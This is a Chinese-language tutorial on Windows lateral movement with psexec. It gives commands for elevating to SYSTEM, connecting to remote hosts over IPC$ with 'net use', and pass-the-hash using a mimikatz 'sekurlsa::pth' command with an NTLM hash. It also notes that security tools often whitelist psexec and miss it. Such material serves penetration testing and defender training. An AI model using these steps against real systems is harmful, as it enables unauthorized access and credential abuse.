一、简介
-
psexec 是Sysinternals公司开发的一款Windows远程命令行工具,该公司目前已被微软收购,故该程序当前为微软官方程序。
-
因为该程序为微软官方所有,因此很多情况下,安全系统将其标记为白名单,即不会对其查杀!
-
PSTools工具:下载
二、使用背景
2.1 利用条件
- 只需要对方开启admin$共享和ipc$
- 注意:该共享默认开启,依赖于445端口,该端口系统初始状态时默认关闭,但在生产环境中通常会开启使用。
- 查询当前主机共享情况:
net share
2.2 检查端口
-
检查目标地址445端口是否开启:
telnet ip 445
-
失败表现如下:
2.3 开启防火墙策略
高级安全Windows Defender 防火墙
==>入站规则
==>远程服务管理(NP-ln)
==>启用规则
- 该策略用以约束防火墙
三、使用手法
3.1 本地提权
- 注:在我们日常使用windows的过程中,所遇到的最高权限一般为Administrator账户权限。
- 但实际上,还有个账户的权限更高,那就是
system
权限,其拥有真正意义上的计算机最高权限!
3.1.1 操作步骤
-
使用管理员权限打开cmd
-
执行提权命令:
psexec -i -s cmd
-i
:使用交互模式运行程序-s
:使用SYSTEM账号来运行cmd
:执行命令
3.2 基本横移
3.2.1 建立网络连接
- 建立网络连接:
net use \\ip\ipc$ "password" /user:"username"
- 查看当前的网络连接:
net use
3.2.2 进入目标主机
- 进入PSTool路径执行:
psexec \\192.168.31.87 -s cmd
- 命令解释:
\\192.168.31.87
:是远程目标地址-s
:指定使用系统账户权限执行cmd
:指网络连接后即执行的命令
3.3 PTH横移
3.3.1 获取目标哈希
-
方案一:保存目标主机在注册表中的
sam
、system
数据,放到本地使用impacket-secretsdump
解析账户哈希(仅适用本地账户)- 详情请参见文章:传送门
-
方案二:使用
mimikatz
提取内存中的哈希(适用域账户)- 详情请参见文章:传送门
3.3.2 进入目标主机
-
使用用
mimikatz
对主机发起PTH,从而建立会话 -
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.31.87 /ntlm:224b59e02691d9be47ee26ca23c1d2"
- 注意:使用该命令后,我们将拥有了对目标主机的会话凭证,但此时仍无法直接与目标机器交互,需要由psexec利用该凭证与目标进行交互。
-
与目标对象建立会话交互:
psexec \\192.168.31.87 -s cmd
四、补充
-
在
mimikatz
中,当成功利用Pass-the-Hash(PtH)
攻击后,会话使用的是 Windows 安全支持提供的机制,称为NTLMSSP(NT LAN Manager Security Support Provider)
。 -
NTLMSSP
是 Windows 系统中的一个安全支持提供程序,用于处理身份验证和会话安全。在Pass-the-Hash
攻击中,攻击者通过获取目标系统上某个用户的哈希凭据(而非明文密码),将该哈希值作为认证信息传递给NTLMSSP
进行身份验证。 -
一旦攻击者成功进行
PTH
攻击并获得合法用户的哈希凭据,他们可以使用这些哈希凭据与目标系统建立会话,绕过了明文密码的验证。这种机制使得攻击者能够利用已获取的哈希凭据从内部操作目标系统,而无需知道用户的明文密码。